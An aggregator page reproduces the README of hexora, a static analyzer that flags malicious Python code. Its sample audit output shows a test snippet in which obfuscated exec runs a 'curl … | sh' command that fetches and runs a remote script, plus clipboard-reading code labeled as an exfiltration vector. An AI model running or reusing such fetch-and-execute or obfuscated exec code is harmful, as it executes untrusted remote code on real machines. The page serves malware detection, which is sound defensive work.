167 GitHub stars and counting — rushter/hexora is a multi-language project TopGit is tracking across repositories on the platform.
Snapshot summary built from the project's own GitHub metadata — there's no written TopGit review yet. The page will update automatically when a full review is published.
WHY NO REVIEW YET
TopGit writes full reviews for the most-starred, most-requested repositories. This page is a snapshot until then — see the READ ME tab for the original README in full.
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.
It can be used to:
Audit project dependencies to catch potential supply-chain attacks
Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
Analyze IoC files from past security incidents
Audit new packages uploaded to PyPi.
Examples
For output examples, please see docs/examples.md file.
Installation
Using Python
Requires Python 3.9+.
pip install hexora
Using uv:
uv tool install hexora
Usage
hexora --help
Audit single file
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Where python3.11 is the version of the Python in virtual environment.
Tips:
Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
Use --min-confidence to focus on high-confidence findings only.
Confidence indicates how a certain piece of code is malicious.
Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from
malicious ones.
That's why some matches have a low confidence level.
Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are
very confident. For example, code and shell execution can have medium, high, and very high confidence.
This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.
For example, this code will have a high confidence:
globals()["__builtins__"].eval("print(123)")
Usage in Python
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
Testing Against Malicious Dataset
When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.
After cloning, point the benchmarking tool to the dataset directory:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
rushter/hexora has 167 GitHub stars — refresh the page for the live number, or check github.com/rushter/hexora. TopGit mirrors GitHub's count but does not claim minute-by-minute accuracy.
Is rushter/hexora open source?
TopGit's metadata for rushter/hexora does not record a license. Most public repositories on GitHub ARE open source, but the exact terms vary — verify by opening the LICENSE file directly.
Is rushter/hexora still maintained?
TopGit's metadata for rushter/hexora does not include a recent push date. Check the commit history on the GitHub repository page for the most authoritative activity timeline.
What is rushter/hexora?
rushter/hexora (rushter/hexora) is a multi-language project tracked by TopGit. The repository has 167 GitHub stars at the time of our last sync.
What language is rushter/hexora written in?
TopGit's last sync did not record a primary language for rushter/hexora. Open the repository on GitHub to see the full breakdown by file extension.
Where do I read more about rushter/hexora?
This TopGit page is a snapshot — the READ ME tab shows the project's own README content (links stripped, images preserved). The GitHub repository at github.com/rushter/hexora is the definitive source.
Read full README in the tab above.
Curious whether hexora is right for you?
Let ChatGPT, Claude, or Perplexity look into it — click below and see what AI actually says about hexora.
/hexora
